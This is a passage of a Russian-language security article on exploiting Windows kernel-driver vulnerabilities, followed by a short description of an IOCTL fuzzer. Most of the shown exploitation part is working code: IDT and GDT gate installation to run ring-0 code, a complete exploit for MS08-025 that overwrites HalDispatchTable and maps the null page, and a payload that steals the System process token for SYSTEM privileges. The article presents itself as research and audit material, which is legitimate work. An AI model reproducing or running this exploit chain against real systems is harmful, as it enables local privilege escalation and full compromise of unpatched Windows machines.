    // в edx - указатель на лежащие в стеке параметры функции
    lea   edx,[esp+4]
    int   0x2E
    retn  0x1C   
  }
}

...

  NtUserMessageCall(hWnd, 0x0d, 0x80000000, Address, 0, 0, 0);

В качестве первого параметра (hWnd) нужно передавать валидный дескриптор любого окна. Об эксплуатации этой и подобных уязвимостей читайте далее.

В системных компонентах функция ProbeForWrite используется очень часто, и существует ещё целый ряд уязвимостей, связанных с её неверным использованием (например, MS08-066). Тот факт, что подобные огрехи весьма часто встречаются даже в таких, казалось бы, важных узлах ОС, как графическая подсистема, лишний раз демонстрирует необходимость внимательного и тщательного подхода к безопасности при написании абсолютно любого Ring 0 кода.

Эксплуатация локальных уязвимостей в драйверах режима ядра

Предположим, уязвимость вами уже найдена, теперь было бы хорошо попробовать её поэксплуатировать. Способы эксплуатации уязвимостей в драйверах бывают весьма разные, и зависят, в первую очередь, от типа уязвимостей, которые бывают условно следующими:

Рассмотрим все эти случаи по порядку.

Возможность перезаписи произвольного байта памяти существует в основном из-за ошибок при проектировании и на практике встречается весьма часто. Такую уязвимость эксплуатировать проще всего, и сейчас я покажу, как выполнить произвольный код в режиме ядра на примере перезаписи элемента в таблице векторов прерываний (IDT). Каждая запись IDT представляет собой два двойных слова, и может описывать шлюз вызова, шлюз прерывания или шлюз задачи. Нас интересует исключительно шлюз прерывания, имеющий следующий формат:


Рисунок 4. Шлюз прерывания.

Поля Offset High и Offset Low содержат старшие и младшие 16 бит адреса вектора (обработчика) прерывания. Segment Selector – это значение кодового селектора, которое будет помещено процессором в сегментный регистр CS после генерации прерывания. В Windows значение кодового селектора для режима ядра всегда равно 8. Бит P (Present) определяет доступность данной записи в IDT и если она используется – должен быть установлен в значение 1. DPL (Descriptor Privileges Level) – контролирует доступ к вектору, и в нашем случае он должен содержать значение 3. Бит D определяет разрядность записи в IDT таблице: должен содержать 1 для 32-битного режима и 0 для 16-битного.

Теперь, зная формат записи таблицы векторов прерываний, можно написать код, который устанавливает свой шлюз прерывания и вызывает его вектор:

      #pragma pack(1)
typedefstruct _SIDT
{
  unsignedshort limit;
  unsignedlong  base;

} SIDT,
*PSIDT;
#pragma pack()

#pragma pack(1)
typedefstruct _IDT_ENTRY
{
  unsignedshort  low_offset;
  unsignedshort  segment_selector;
  unsignedshort  access;
  unsignedshort  high_offset;

} IDT_ENTRY,
*PIDT_ENTRY;
#pragma pack()

#define INT_NUM 0xDD

__declspec(naked) void__stdcall r0_handler_idt(void)
{
  __asm
  {
    // этот код выполняется с привилегиями ядра// здесь можно совершать какие-то полезные действия// ...// возвращаемся обратно
    iretd
  }
}

void call_r0_idt(void)
{
  SIDT Idt;
  IDT_ENTRY IdtEntry;   

  // получаем адрес IDT-таблицы__asm sidt Idt;

  // заполняем своё поле IDT-таблицы
  IdtEntry.low_offset = (WORD)((DWORD)r0_handler_idt & 0xFFFF);
  IdtEntry.segment_selector = 8; // кодовый селектор для kernel mode/*
    1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 = EE00h
    ------------------------------
   | | D |         |     |        |
   |P| P |0 D 1 1 0|0 0 0|reserved|
   | | L |         |     |        |
    ------------------------------
*/
  IdtEntry.access = 0xEE00;

  IdtEntry.high_offset = (WORD)((DWORD)r0_handler_idt >> 16);

  DWORD Addr = Idt.base + INT_NUM * sizeof(IDT_ENTRY);

  // пишем наше поле в память
  WriteKernelMemory(Addr, &IdtEntry, sizeof(IdtEntry));

  // вызываем прерывание__asmint INT_NUM;
}

Номер вектора прерывания выбирается произвольно, с тем расчётом, чтобы он был свободен на статистически как можно большем количестве тестовых машин. Благо, в Windows большинство векторов прерываний защищённого режима выше 30h свободно почти всегда.

Для выполнения своего кода в режиме ядра можно также использовать установку шлюза вызова в глобальной таблице дескрипторов (GDT). Этот код не имеет абсолютно никаких преимуществ перед приведенным выше примером с IDT, и использование того или иного метода – дело исключительно личных предпочтений. Я же решил показать оба для полноты картины. Размер записи глобальной таблицы дескрипторов также равен двум двойным словам, и шлюз вызова имеет следующий формат:


Рисунок 5. Шлюз вызова.

Поля Offset High, Offset Low, Segment Selector, P и DPL имеют такие же значения, как и аналогичные в шлюзе прерывания. Type определяет тип шлюза, для 32-битного шлюза вызова он должен быть равен 12 (1100b). Поле Parameters Count определяет количество двойных слов, которые будут скопированы из стека в случае его переключения, в нашем случае это значение должно быть нулевым.

Теперь напишем код, который будет устанавливать шлюз вызова и выполнять передачу управления обработчику шлюза путём длинного межсегментного вызова:

      #pragma pack(1)
typedefstruct _SGDT
{
  unsignedshort limit;
  unsignedlong  base;
} SGDT,
*PSGDT;
#pragma pack()

#pragma pack(1)
typedefstruct _CALLGATE_DESCRIPTOR 
{
  unsignedshort low_offset;
  unsignedshort selector;
  unsignedchar  param_count:4;
  unsignedchar  some_bits:4;
  unsignedchar  type:4;
  unsignedchar  app_system:1;
  unsignedchar  dpl:2;
  unsignedchar  present:1;
  unsignedshort high_offset;

} CALLGATE_DESCRIPTOR, 
*PCALLGATE_DESCRIPTOR;
#pragma pack()

#define GDT_NUM 0x60

__declspec(naked) void__stdcall r0_handler_gdt(void)
{
  __asm
  {
    // этот код выполняется с привилегиями ядра// здесь можно совершать какие-то полезные действия// ...// возвращаемся обратно
    retf
  }
}

void call_r0_gdt(void)
{
  SGDT Gdt;
  CALLGATE_DESCRIPTOR Callgate;   

  // получаем адрес GDT таблицы__asm sgdt Gdt;

  // заполняем поля нашего шлюза вызова
  Callgate.low_offset  = (WORD)((DWORD)r0_handler_gdt & 0xFFFF);
  Callgate.selector = 8; // кодовый селектор для kernel mode
  Callgate.param_count = 0;
  Callgate.some_bits = 0;
  // тип GDT-записи (в нашем случае - 32-х битный шлюз вызова)
  Callgate.type = 12; 
  Callgate.app_system = 0;
  Callgate.dpl = 3; // descriptor privilege level  // этот бит указывает на то, что данная запись в GDT валидна и используется
  Callgate.present = 1; 
  Callgate.high_offset = (WORD)((DWORD)r0_handler_gdt >> 16);

  DWORD Addr = Gdt.base + GDT_NUM * sizeof(CALLGATE_DESCRIPTOR);

  // записываем шлюз в GDT
  WriteKernelMemory(Addr, &Callgate, sizeof(Callgate));

  WORD FarCall[3];

  FarCall[0] = 0;
  FarCall[1] = 0;
  FarCall[2] = (GDT_NUM * sizeof(CALLGATE_DESCRIPTOR)) | 3;

  // выполняем длинный межсегментный вызов__asm call fword ptr [FarCall];
}

Возможно, многие из вас зададут вопрос: почему, имея возможность перезаписи произвольного байта памяти ядра, нам просто не подменить адрес обработчика системного сервиса в SDT вместо возни с каким-то таблицами процессора? Без сомнения, перезаписать адрес какого-нибудь редко используемого системного сервиса несколько проще, однако у этого метода есть один существенный подводный камень. Как известно, указатель на непосредственно саму таблицу адресов обработчиков системных вызовов (KiServiceTable) при их диспетчеризации ядро получает из KeServiceDescriptorTable, куда он заносится на этапе инициализации системы. KiServiceTable достаточно легко находится с помощью анализа секции базовых поправок бинарного файла ядра, но подвох заключается в том, что очень часто её адрес в KeServiceDescriptorTable бывает подменён со стороны руткита или вполне легального софта (например, Kaspersky Internet Security когда-то этим грешил), решившего расширить эту таблицу для добавления в неё своих дополнительных системных сервисов. Другими словами, у нас нет никакой возможности найти адрес реально используемой таблицы адресов обработчиков системных вызовов из пользовательского режима.

Стоит помнить, что в Windows GDT- и IDT-таблицы свои для каждого процессора (однако их содержимое полностью дублируется). Поэтому перед вызовом приведенных выше функций call_r0_gdt или call_r0_idt необходимо «привязать» текущий поток к одному конкретному процессору. Для этого можно использовать функцию SetThreadAffinityMask, которая устанавливает битовую маску размером в два двойных слова, где каждый установленный бит обозначает процессор, на котором целевому потоку будет разрешено выполняться:

SetThreadAffinityMask(GetCurrentThread(), 1);

С уязвимостями, основанными на возможности перезаписи произвольного байта, мы разобрались, но что делать, когда у атакующего получается только обнулить память по произвольному адресу (примером подобной уязвимости может служить описанная выше MS08-025)? Очевидно, что ноль можно использовать как адрес, по которому можно осуществлять передачу управления (в пользовательском режиме действительно можно выделить страницу памяти, которая будет иметь нулевой адрес), однако куда этот нулевой адрес записать? GDT и IDT не подходят, KiServiceTable ненадёжна, поэтому при беглом рассмотрении в голову приходят только сравнительно сложные и нестабильные варианты с поиском инструкции типа jmp imm32 в кодовой секции ядра и перезаписью её операнда. Но если копнуть глубже, можно найти намного более изящное решение.

В таблице экспорта бинарного файла ядра, помимо всего прочего, есть одна достаточно интересная запись – HalDispatchTable. При более близком рассмотрении можно установить, что это действительно таблица, которая импортируется модулем hal.dll (библиотека уровня аппаратных абстракций). Эта таблица содержит указатели на некоторые функции hal.dll, которые используются ядром и, как несложно догадаться, заполняется в коде самой hal.dll:

hal!HalInitSystem+0x76:
806eb132 a1e0e56c80      mov   eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb137 c74004ba4b6e80  mov   dwordptr [eax+4],offset hal!HaliQuerySystemInformation (806e4bba)
806eb13e a1e0e56c80    mov   eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb143 c7400836746e80  mov   dwordptr [eax+8],offset hal!HalpSetSystemInformation (806e7436)
806eb14a a1e0e56c80    mov   eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb14f 833803      cmp   dwordptr [eax],3
806eb152 724f      jb    hal!HalInitSystem+0xe7 (806eb1a3)
806eb154 c740347e686e80  mov   dwordptr [eax+34h],offset hal!HaliInitPnpDriver (806e687e)
806eb15b a1e0e56c80    mov   eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb160 c7403c80266d80  mov   dwordptr [eax+3Ch],offset hal!HaliGetDmaAdapter (806d2680)
806eb167 a1b8e56c80    mov   eax,dwordptr [hal!_imp__HalPrivateDispatchTable (806ce5b8)]
806eb16c c7400cb6686e80  mov   dwordptr [eax+0Ch],offset hal!HaliLocateHiberRanges (806e68b6)
806eb173 a1b8e56c80    mov   eax,dwordptr [hal!_imp__HalPrivateDispatchTable (806ce5b8)]
806eb178 c7402c10516d80  mov   dwordptr [eax+2Ch],offset hal!HalpBiosDisplayReset (806d5110)
806eb17f a1e0e56c80    mov   eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb184 c74038cc726e80  mov   dwordptr [eax+38h],offset hal!HaliInitPowerManagement (806e72cc)
806eb18b a1e0e56c80    mov   eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb190 c74040506d6e80  mov   dwordptr [eax+40h],offset hal!HalacpiGetInterruptTranslator (806e6d50)

В исходных текстах ядра эта таблица объявлена так:

      typedef
      struct 
{
  ULONG                         Version;
  pHalQuerySystemInformation    HalQuerySystemInformation;
  pHalSetSystemInformation      HalSetSystemInformation;
  pHalQueryBusSlots             HalQueryBusSlots;
  ULONG                         Spare1;
  pHalExamineMBR                HalExamineMBR;
  pHalIoAssignDriveLetters      HalIoAssignDriveLetters;
  pHalIoReadPartitionTable      HalIoReadPartitionTable;
  pHalIoSetPartitionInformation HalIoSetPartitionInformation;
  pHalIoWritePartitionTable     HalIoWritePartitionTable;

  pHalHandlerForBus             HalReferenceHandlerForBus;
  pHalReferenceBusHandler       HalReferenceBusHandler;
  pHalReferenceBusHandler       HalDereferenceBusHandler;

  pHalInitPnpDriver             HalInitPnpDriver;
  pHalInitPowerManagement       HalInitPowerManagement;

  pHalGetDmaAdapter             HalGetDmaAdapter;
  pHalGetInterruptTranslator    HalGetInterruptTranslator;

  pHalStartMirroring            HalStartMirroring;
  pHalEndMirroring              HalEndMirroring;
  pHalMirrorPhysicalMemory      HalMirrorPhysicalMemory;
  pHalEndOfBoot                 HalEndOfBoot;
  pHalMirrorVerify              HalMirrorVerify;

} HAL_DISPATCH, *PHAL_DISPATCH;

Для нас интерес представляет самая первая функция – HalQuerySystemInformation. Прототип её следующий:

      typedef
NTSTATUS
(*pHalQuerySystemInformation)(
  IN HAL_QUERY_INFORMATION_CLASS InformationClass,
  IN ULONG BufferSize,
  IN OUT PVOID Buffer,
  OUT PULONG ReturnedLength
);

Если отследить все места, из которых она вызывается, можно заметить, что она вызывается из KeQueryIntervalProfile:

nt!KeQueryIntervalProfile:
8063a8cc 8bff          mov   edi,edi
8063a8ce 55            push  ebp
8063a8cf 8bec          mov   ebp,esp
8063a8d1 83ec0c        sub   esp,0Ch
8063a8d4 8b4508        mov   eax,dwordptr [ebp+8]
; проверяем, равен ли первый параметр функции нулю (ProfileTime)
8063a8d7 85c0          test  eax,eax
8063a8d9 7507          jne   nt!KeQueryIntervalProfile+0x16 (8063a8e2)
; возвращаем значение глобальной переменной KiProfileInterval
8063a8db a114925480    mov   eax,dwordptr [nt!KiProfileInterval (80549214)]
8063a8e0 eb32          jmp   nt!KeQueryIntervalProfile+0x48 (8063a914)
; проверяем, равен ли первый параметр функции единице (ProfileAlignmentFixup)
8063a8e2 83f801        cmp   eax,1
8063a8e5 7507          jne   nt!KeQueryIntervalProfile+0x22 (8063a8ee)
; возвращаем значение глобальной переменной KiProfileAlignmentFixupInterval
8063a8e7 a1a81f5580    mov   eax,dwordptr [nt!KiProfileAlignmentFixupInterval (80551fa8)]
8063a8ec eb26          jmp   nt!KeQueryIntervalProfile+0x48 (8063a914)
; во всех остальных случаях вызываем HalQuerySystemInformation
8063a8ee 8945f4        mov   dwordptr [ebp-0Ch],eax
8063a8f1 8d4508        lea   eax,[ebp+8]
8063a8f4 50            push  eax
8063a8f5 8d45f4        lea   eax,[ebp-0Ch]
8063a8f8 50            push  eax; InformationClass = 0Сh (HalProfileSourceInformation)
8063a8f9 6a0c          push  0Ch
8063a8fb 6a01          push  1
8063a8fd ff153c4a5480  call  dwordptr [nt!HalDispatchTable+0x4 (80544a3c)]
8063a903 85c0          test  eax,eax
8063a905 7c0b          jl    nt!KeQueryIntervalProfile+0x46 (8063a912)
8063a907 807df800      cmp   byteptr [ebp-8],0
8063a90b 7405          je    nt!KeQueryIntervalProfile+0x46 (8063a912)
8063a90d 8b45fc        mov   eax,dwordptr [ebp-4]
8063a910 eb02          jmp   nt!KeQueryIntervalProfile+0x48 (8063a914)
8063a912 33c0          xor   eax,eax
8063a914 c9            leave
8063a915 c20400        ret   4

А KeQueryIntarvalProfile, в свою очередь, практически сразу вызывается из системного сервиса NtQueryIntervalProfile:

nt!NtQueryIntervalProfile:
8060c82e 6a0c          push  0Ch
8060c830 68d0ca4d80    push  offset nt!ExpLuidIncrement+0x1a0 (804dcad0)
8060c835 e8a6a8f2ff    call  nt!_SEH_prolog (805370e0)
; получаем PreviousMode
8060c83a 64a124010000  mov   eax,dwordptrfs:[00000124h]
8060c840 8a9840010000  mov   bl,byteptr [eax+140h]
8060c846 84db          test  bl,bl
8060c848 743a          je    nt!NtQueryIntervalProfile+0x56 (8060c884)
8060c84a 8365fc00      and   dwordptr [ebp-4],0
; если вызов был из пользовательского режима – проверяем переданный указатель
8060c84e 8b750c        mov   esi,dwordptr [ebp+0Ch]
8060c851 a1b47b5580    mov   eax,dwordptr [nt!MmUserProbeAddress (80557bb4)]
8060c856 3bf0          cmp   esi,eax
8060c858 7206          jb    nt!NtQueryIntervalProfile+0x32 (8060c860)
8060c85a c70000000000  mov   dwordptr [eax],0
8060c860 8b06          mov   eax,dwordptr [esi]
8060c862 8906          mov   dwordptr [esi],eax
8060c864 834dfcff      or    dwordptr [ebp-4],0FFFFFFFFh
8060c868 eb1d          jmp   nt!NtQueryIntervalProfile+0x59 (8060c887)
8060c86a 8b45ec        mov   eax,dwordptr [ebp-14h]
8060c86d 8b00          mov   eax,dwordptr [eax]
8060c86f 8b00          mov   eax,dwordptr [eax]
8060c871 8945e4        mov   dwordptr [ebp-1Ch],eax
8060c874 33c0          xor   eax,eax
8060c876 40            inc   eax
8060c877 c3            ret
8060c878 8b65e8        mov   esp,dwordptr [ebp-18h]
8060c87b 834dfcff      or    dwordptr [ebp-4],0FFFFFFFFh
8060c87f 8b45e4        mov   eax,dwordptr [ebp-1Ch]
8060c882 eb2b          jmp   nt!NtQueryIntervalProfile+0x81 (8060c8af)
8060c884 8b750c        mov   esi,dwordptr [ebp+0Ch]
8060c887 ff7508        push  dwordptr [ebp+8]
; KeQueryIntervalProfile получает на вход 
; всего один параметр (KPROFILE_SOURCE)
8060c88a e83de00200    call  nt!KeQueryIntervalProfile (8063a8cc)
8060c88f 84db          test  bl,bl
8060c891 7418          je    nt!NtQueryIntervalProfile+0x7d (8060c8ab)
8060c893 c745fc01000000  mov   dwordptr [ebp-4],1
; в первом параметре (указатель) возвращаем значение, 
; которое вернула KeQueryIntervalProfile
8060c89a 8906          mov   dwordptr [esi],eax
8060c89c 834dfcff      or    dwordptr [ebp-4],0FFFFFFFFh
8060c8a0 eb0b          jmp   nt!NtQueryIntervalProfile+0x7f (8060c8ad)

Системный сервис NtQueryIntervalProfile используется для работы с объектами ядра типа «профиль», а именно – для получения значения задержки между тиками счётчика производительности:

NTSYSAPI 
NTSTATUS
NTAPI
NtSetIntervalProfile(
  IN ULONG       Interval,
  IN KPROFILE_SOURCE Source 
);

Таким образом, затерев в HalDispatchTable нулевым байтом поле HalQuerySystemInformation и вызвав NtQueryIntervalProfile, мы передадим управление нашему коду, находящемуся по нулевому адресу, и он будет выполнен с привилегиями режима ядра.

Теперь самое время продемонстрировать эту технику на практике, показав пример эксплуатации уже известной нам уязвимости MS08-025.

      /*
  эта функция получает информацию о системе
  выделяя нужное количество памяти под неё
*/
PVOID GetSysInf(SYSTEMINFOCLASS Class)
{
  NTSTATUS ns;
  ULONG RetSize, Size = 0x1000;
  PVOID Info;

  while (true) 
  {  
    // выделяем память под информациюif ((Info = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, Size)) == NULL) 
    {
      return NULL;
    }

    // получаем информацию о системе
    ns = NtQuerySystemInformation(Class, Info, Size, &RetSize);
    if (ns == STATUS_INFO_LENGTH_MISMATCH)
    {     
      // слишком мало памяти, пробуем ещё раз, выделяя буффер большего размера
      LocalFree(Info);
      Size += 0x100;
    }
    elsebreak;  
  }

  if (!NT_SUCCESS(ns))
  {
    // NtQuerySystemInformation вернула статус ошибкиif (Info)
    {
      LocalFree(Info);
    }

    return NULL;
  }

  return Info;
}

/*
  эта функция затирает нулями произвольное двойное слово в памяти режима ядра
*/void ClearKernelDword(DWORD Addr)
{
  // нам понадобиться валидный хэндл окна
  HWND hDesktopWnd = GetDesktopWindow();
  if (hDesktopWnd)
  {
    // затираем нулями старшие 16 бит
    NtUserMessageCall(hDesktopWnd, 0x0d, 0x80000000, Addr + 2, 0, 0, 0);
    // затираем нулями младшие 16 бит
    NtUserMessageCall(hDesktopWnd, 0x0d, 0x80000000, Addr + 0, 0, 0, 0);
  }
}

__declspec(naked) void__stdcall r0_handler(void)
{
  __asm
  {
    // этот код выполняется с привилегиями режима ядра// здесь можно совершать какие-то полезные действия// ...// возвращаемся обратно
    mov   eax,0xc00000001
    // HalQuerySystemInformation получает через стек 4 параметра, // которые мы должны за собой почистить
    retn  0x1C
  }
}

/*
  получение адреса какой-либо функции ядра
*/
PVOID GetKernelProcAddr(char *lpszProcName)
{
  PVOID Addr = NULL;

  // получаем информацию о загруженых системных модулях
  PSYSTEM_MODULE_INFORMATION pModules = (PSYSTEM_MODULE_INFORMATION)GetSysInf(SystemModuleInformation);
  if (pModules)
  {
    // информация о ядре всегда в первой записи списка, 
    // получаем его имя и базовый адрес
    DWORD dwKernelBase = pModules->aSM[0].Base;
    char *lpszKernelName = 
pModules->aSM[0].ModuleNameOffset + pModules->aSM[0].ImageName;

    // загружаем ядро в адресное пространство своего процесса
    HMODULE hKrnl = 
      LoadLibraryEx(lpszKernelName, 0, DONT_RESOLVE_DLL_REFERENCES);
    if (hKrnl)
    {
      // получаем адрес нужной функции
      Addr = GetProcAddress(hKrnl, lpszProcName);
      if (Addr)
      {
        // вычисляем адрес этой функции в "реальном" ядре
        Addr = (PVOID)((DWORD)Addr - (DWORD)hKrnl + dwKernelBase);
      }      

      // выгружаем ранее загруженный файл ядра
      FreeLibrary(hKrnl);
    }

    // освобождаем память с информацией о системных модулях
    LocalFree(pModules);
  }

  return Addr;
}

void exploit_ms08_025(void)
{
  DWORD MappedAddress = 1;
  DWORD Size = 0x1000; 

  // выделяем память по нулевому адресу
  NTSTATUS ns = NtAllocateVirtualMemory(
    GetCurrentProcess(), 
    (PVOID *)&MappedAddress, 
    0, 
    &Size, 
    MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, 
    PAGE_EXECUTE_READWRITE
  ); 
  if (!NT_SUCCESS(ns)) 
  { 
    return;
  }

  // так как NtAllocateVirtualMemory вызывается с флагом MEM_TOP_DOWN, // она попытается выделить память по как можно меньшему адресу, // однако, не факт, что это будет именно адрес 0x00000000if (MappedAddress == 0)
  {
    // пишем в нулевую страницу памяти переход на нашу функцию, // которая будет исполняться с привилегиями режима ядра// push imm32
    *(PUCHAR)(MappedAddress + 0) = 0x68;
    *(PDWORD)(MappedAddress + 1) = (DWORD)r0_handler;
    // ret
    *(PUCHAR)(MappedAddress + 5) = 0xC3;     

    // получаем адрес HalDispatchTable 
    // (описание структуры HAL_DISPATCH см. выше)
    PHAL_DISPATCH pHalDispatchTable = 
      (PHAL_DISPATCH)GetKernelProcAddr("HalDispatchTable");
    if (pHalDispatchTable)
    {
      typedef NTSTATUS (__stdcall * funcNtQueryIntervalProfile)(
        ULONG   ProfileSource,
        PULONG  Interval
      );

      // получаем адресс функции NtQueryIntervalProfile в ntdll.dll
      funcNtQueryIntervalProfile fNtQueryIntervalProfile =
        (funcNtQueryIntervalProfile)GetProcAddress(
           GetModuleHandle("ntdll.dll"),
           "NtQueryIntervalProfile"
      );
      if (fNtQueryIntervalProfile)
      {
        DWORD Interval = 0, ProfileTotalIssues = 2;

        // обнуляем указатель на HalQuerySystemInformation в HalDispatchTable
        ClearKernelDword(
          (DWORD)&pHalDispatchTable->HalQuerySystemInformation);
        
        // после этого вызова управление получает r0_handler,// который выполняется с привилегиями режима ядра
        fNtQueryIntervalProfile(ProfileTotalIssues, &Interval);
      }
    }
  } 

  // освобождаем выделенную ранее память
  NtFreeVirtualMemory(GetCurrentProcess(), 
    (PVOID *)&MappedAddress, &Size, MEM_RELEASE);
}

Эксплуатация локальных переполнений стека в драйверах режима ядра более чем тривиальна, и абсолютно ничем не отличается от эксплуатации схожих уязвимостей в обычных Windows-приложениях. Однако некоторые незначительные отличия всё же имеются:

Эксплуатация переполнения пула в драйверах режима ядра также аналогична эксплуатации таковых в обычных приложениях. Она сводится к переписыванию указателей, находящихся в заголовке блока пула, который следует за переполняемым, таким образом, чтобы при восстановлении связей списка во время освобождения переполняемого блока были переписаны нужные нам 4 байта. Заголовок пула режима ядра выглядит следующим образом:

      typedef
      struct POOL_HEADER
{
  USHORT  PreviousSize:9;
  USHORT  PoolIndex:7;
  USHORT  BlockSize:9;
  USHORT  PoolType:7;
  ULONG   PoolTag;

  union
  {
    USHORT    PoolTagHash;
    LIST_ENTRY  FreeEntry;

  } u1;

} *PPOOL_HEADER;

Полезная нагрузка

Что же может сделать злоумышленник (или, например, специалист по аудиту безопасности), получивший возможность выполнять свой код в режиме ядра? Да всё что угодно! Обычно выполняются манипуляции по снятию перехватов, которые были установлены защитными системами, повышению привилегий для своего процесса, или загрузке драйвера руткита прямо из памяти.

Дальнейшие шаги в эксплуатации уязвимостей

Обычно выполнение произвольного кода с привилегиями режима ядра преследует вполне определенные цели, среди которых злоумышленнику могут быть полезны манипуляции по снятию перехватов, которые были установлены защитными системами, повышению привилегий для своего процесса, или загрузке драйвера руткита прямо из памяти. Но очень часто подобные манипуляции также являются целью и специалиста по информационной безопасности, который в рамках проведённого аудита ПО хочет на наглядном примере продемонстрировать опасность найденных уязвимостей. По этой причине разработку «полезной нагрузки» для эксплойта нам также стоит рассмотреть.

Первым делом нужно заранее получить и сохранить в глобальных переменных адреса функций ядра, которые планируется использовать. Непосредственно внутри процедуры, выполняющей какие-либо действия в режиме ядра, необходимо перезагрузить сегментный регистр FS, так как в пользовательском режиме и режиме ядра он указывает на совершенно разные структуры: Thread Environment Block (TEB) и Processor Control Region (KPCR) соответственно. Если в процессе эксплуатации был затерт нулями какой-либо адрес в HalDispatchTable, его нужно восстановить (или заменить заглушкой, если такой возможности нет), иначе – BSoD при любом вызове этой функции в контексте какого-либо другого процесса.

Для повышения привилегий какого-либо процесса достаточно выполнить следующий ряд действий:

  1. Получаем указатель на структуру EROCESS, описывающую процесс System (его можно найти по PID-у, который всегда равен 4).
  2. Получаем указатель на структуру EROCESS, описывающую целевой процесс, для которого необходимо выполнить повышение привилегий.
  3. Копируем значение поля EROCESS::AccessToken из системного процесса в целевой. Смещение данного поля в структуре необходимо использовать с учётом того, что на разных версиях Windows оно разное, и получается, как правило, из отладочных символов к бинарному файлу ядра.

Ниже приведён пример кода, который дополняет продемонстрированный пример эксплойта для MS08-025 повышением привилегий текущему процессу.

      void GetSystemPrivileges(void)
{
/*
  прежде чем эта функция будет выполнена, необходимо
  проинициализировать следующие глобальные переменные,
  которые содержат адреса соответствующих функций ядра:

  fIoGetCurrentProcess - nt!IoGetCurrentProcess()
  fPsLookupProcessByProcessId - nt!PsLookupProcessByProcessId()
  fExAllocatePool - nt!ExAllocatePool()

  для получения этих адресов можно использовать функцию 
  GetKernelProcAddr, которая фигурировала в предыдущем примере


  глобальная переменная EPROCESS_TokenOffset должна содержать 
  смещение поля AcessToken в структуре EPROCESS для текущего ядра,
  версию которого можно получить используя документированные в 
  MSDN функции GetVersion/GetVersionEx
*/
  NTSTATUS ns;
  PVOID pCurrentProcess, pSystemProcess;
  PVOID pToken;

  __asm
  {
    // устанавливаем в FS значение, используемое в режиме ядра
    mov   ax,0x30
    mov   fs,ax
  }

  if (pHalDispatchTable->HalQuerySystemInformation == NULL)
  {
    // устанавливаем заглушку вместо HalQuerySystemInformation,// если указатель на неё был обнулён
    PVOID Buff = fExAllocatePool(NonPagedPool, 8);
    if (Buff)
    {
      char Code[] = 
        "/xB8/x01/x00/x00/xC0"// mov  eax,0xC00000001 "/xC2/x1C/x00";     // retn 0x1C

      memcpy(Buff, Code, 8);
      pHalDispatchTable->HalQuerySystemInformation = (pHalQuerySystemInformation)Buff;
    }
  }    

  // получаем указатель на текущий процесс
  pCurrentProcess = fIoGetCurrentProcess();
  // получаем указатель на процесс 'System' (PID: 4)
  ns = fPsLookupProcessByProcessId((HANDLE)4, &pSystemProcess);
  if (NT_SUCCESS(ns))
  {
    // получаем значение поля AccessToken из системного процесса
    pToken = *(PVOID *)((PUCHAR)pSystemProcess + EPROCESS_TokenOffset);
    // устанавливаем значение AccessToken для целевого процесса
    *(PVOID *)((PUCHAR)pCurrentProcess + EPROCESS_TokenOffset) = pToken;
  }

  __asm
  {
    // возвращаем в FS старое значение для пользовательского режима
    mov   ax,0x3B
    mov   fs,ax
  }
}

__declspec(naked) void__stdcall r0_handler(void)
{
  __asm
  {
    // этот код выполняется с привилегиями ядра
    call  GetSystemPrivileges

    // возвращаемся обратно
    mov   eax,0xC00000001
    retn  0x1C
  }
}

Автоматизация выявления уязвимостей

Большинство уязвимостей, существующих из-за неправильной обработки данных, которые драйвер получает в IRP-запросе, довольно однотипны, что заставляет нас задаться вполне рациональным вопросом – “А можно ли автоматизировать их выявление?” Да, это более чем возможно. Автоматизированный анализ хоть и не избавит исследователя от рутинной работы полностью, но поможет существенно сократить её количество, задавая общее направление для дальнейшего копания. Ведь давно замечено, что обычно некорректная обработка входных данных не является разовым явлением и, найдя одну, пусть даже не эксплуатируемую уязвимость, мы с огромной вероятностью найдём и другую, проследив либо data flow, либо другие участки программного кода, выполняющие аналогичную задачу.

Для наших целей замечательно подойдёт метод фаззинга. В самом обобщенном понимании, суть фаззинга заключается в генерации и отправке заведомо некорректных входных данных с расчётом на то, что код, который их обрабатывает, попросту не учитывает возможность присутствия подобных некорректностей. Очевидно, что для формирования этих данных нам нужно как минимум знать их формат, что в случае с обработкой IRP-запросов, посылаемых неизвестным приложением неизвестному драйверу, опять упирается в ручной анализ. Однако из этого замкнутого круга есть выход. Взгляните на схему ниже, она несколько отличается от схемы нормального прохождения IRP-запроса, приведенной в первой части статьи:


Рисунок 6. Взаимодействие фаззера с системой.

Драйвер нашей утилиты-фаззера будет перехватывать функцию ядра NtDeviceIoControlFile, получая, таким образом, возможность контролировать отправку всех IRP-запросов от приложений к драйверам режима ядра. Также, во время обработки запроса к интересующему нас драйверу, фаззер отправляет свой запрос, используя такие же размеры буферов и I/O Control Code, но генерируя входные данные псевдослучайным образом. Это частично и избавляет нас от необходимости проведения реверс-инжениринга с целью узнать формат принимаемых драйвером данных, ведь достаточно будет узнать хотя бы I/O Control Code и их размер.

Для проведения фаззинга мной была написана утилита IOCTL Fuzzer, которая помимо основной функциональности имеет режим мониторинга с выводом как основных параметров и информации об IRP-запросе, так и HEX-дампа данных, в окно консоли или текстовый лог-фал. Фильтрация целевых запросов (т.е., отсеивание только тех, которые нас интересуют) осуществляется по allow/deny-спискам, где в качестве параметров для фильтрации можно указывать:

Окно IOCTL Fuzzer-а во время его работы выглядит так:


Рисунок 7. Фаззер в процессе работы.

Обычно тестирование какого-либо ПО с помощью данной утилиты производится в несколько шагов:

  1. Подготавливаем виртуальную машину, в гостевой ОС которой устанавливаем дистрибутив тестируемого продукта.
  2. Подключаем к виртуальной машине удалённый отладчик режима ядра (подробнее о том, как настроить связку WinDbg + VMware можно прочесть здесь: http://silverstr.ufies.org/lotr0/windbg-vmware.html).
  3. Запускаем IOCTL Fuzzer в режиме фаззинга.
  4. Выполняем произвольные манипуляции с тестируемым ПО до тех пор, пока отладчик не сообщит нам о возникновении необрабатываемого исключения (это значит, что в обычных условиях, скорее всего, это закончилось бы аварийным завершением работы системы).
